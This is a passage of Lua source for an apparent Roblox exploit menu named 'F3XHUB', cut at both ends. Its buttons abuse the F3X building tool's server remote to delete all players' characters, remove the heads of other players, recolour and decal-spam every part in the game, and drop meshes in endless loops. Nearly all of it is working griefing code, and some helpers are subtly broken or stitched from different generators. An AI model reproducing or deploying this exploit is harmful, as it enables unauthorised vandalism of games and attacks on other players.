_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
end)
end;
task.spawn(C_9);
-- StarterGui.F3XHUB.Bar.Main.ColorAll.LocalScript
local function C_c()
local script = G2L["c"];
script.Parent.MouseButton1Down:Connect(function()
while wait() do
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
randomise()
end
end)
end;
task.spawn(C_c);
-- StarterGui.F3XHUB.Bar.Main.DecalSpam.LocalScript
local function C_f()
local script = G2L["f"];
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("137878597662886")
end)
coroutine.wrap(ZYJPOKE_fake_script)()
local function IGAFG_fake_script() -- Duckify.LocalScript
local script = Instance.new('LocalScript', Duckify)
script.Parent.MouseButton1Click:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local chara = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part,
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Duckify(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
pcall(function()
SetLocked(v,false)
SetTrans(v,1)
end)
end
end
char = player.Character
--spawn(function()
spawn(function()
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char)
SetCollision(char.Part,false)
SetName(char.Part, "Duck")
end)
repeat wait() until char:FindFirstChild("Duck")
spawn(function()
SetLocked(char.Duck,false)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Duck,char.HumanoidRootPart,char.Duck)
SetAnchor(false,char.Duck)
AddMesh(char.Duck)
end)
repeat wait() until char.Duck:FindFirstChild("Mesh")
MeshResize(char.Duck,Vector3.new(8,8,8))
SetMesh(char.Duck,"10749878672")
SetTexture(char.Duck,"10749878886")
SetAnchor(false,char.HumanoidRootPart)
--end)
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
Duckify(v)
--end)
end
end)
end
end;
task.spawn(C_f);
-- StarterGui.F3XHUB.Bar.Main.FireAll.LocalScript
local function C_12()
local script = G2L["12"];
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end
for i,v in game.Players:GetPlayers() do
spawn(function()
pcall(function()
Fire(v)
end)
end)
end
end)
coroutine.wrap(YTBL_fake_script)()
local function YNEKD_fake_script() -- Luigirain.LocalScript
local script = Instance.new('LocalScript', Luigirain)
script.Parent.MouseButton1Click:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(20,20,20))
SetMesh(v,"1618237875")
SetTexture(v, "1618237897")
SetCollision(v,false)
else
end
end
end)
end
end)
end
end;
task.spawn(C_12);
-- StarterGui.F3XHUB.Bar.Main.Rain Toad.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(8,8,8))
SetMesh(v,"5038530279")
SetTexture(v, "5038530309")
SetCollision(v,false)
else
end
end
end)
end
end)
end;
task.spawn(C_15);
-- StarterGui.F3XHUB.Bar.Main.ThomasEngine.LocalScript
local function C_18()
local script = G2L["18"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local player = game.Players.LocalPlayer
local char = player.Character
function xd()
spawn(function()
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Torso,
["Transparency"] = 1
},
[2] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"),
["Transparency"] = 1
},
[3] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
["Transparency"] = 1
},
[4] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"),
["Transparency"] = 1
},
[5] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"),
["Transparency"] = 1
},
[6] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"),
["Transparency"] = 1
},
[7] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Head,
["Transparency"] = 1
},
}
}
_(args)
end)
end
function Thomas(player)
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char,"Normal")
SetCollision(char.Part,false)
SetLocked(char.Part,false)
Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame)
CreateSpotlight(char.Part)
SyncLighting(char.Part,100)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Part,char.HumanoidRootPart,char.Part)
SetAnchor(false,char.Part)
AddMesh(char.Part)
MeshResize(char.Part,Vector3.new(2,2,1.5))
SetMesh(char.Part,"2231280549")
SetTexture(char.Part,"2231280614")
SetAnchor(false,char.HumanoidRootPart)
char.Humanoid.WalkSpeed = 60
local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
char.Part.Touched:connect(function(p)
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
end)
local Music = SFX(1837797926)
Music.Pitch = 1.15
Music:Play()
game:GetService("RunService").RenderStepped:Connect(function()
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
char.Humanoid.WalkSpeed = 60
v.CanCollide = false
end
end
end)
end
Thomas(player)
xd()
end)
end;
task.spawn(C_18);
-- StarterGui.F3XHUB.Bar.Main.Unanchor.LocalScript
local function C_1b()
local script = G2L["1b"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
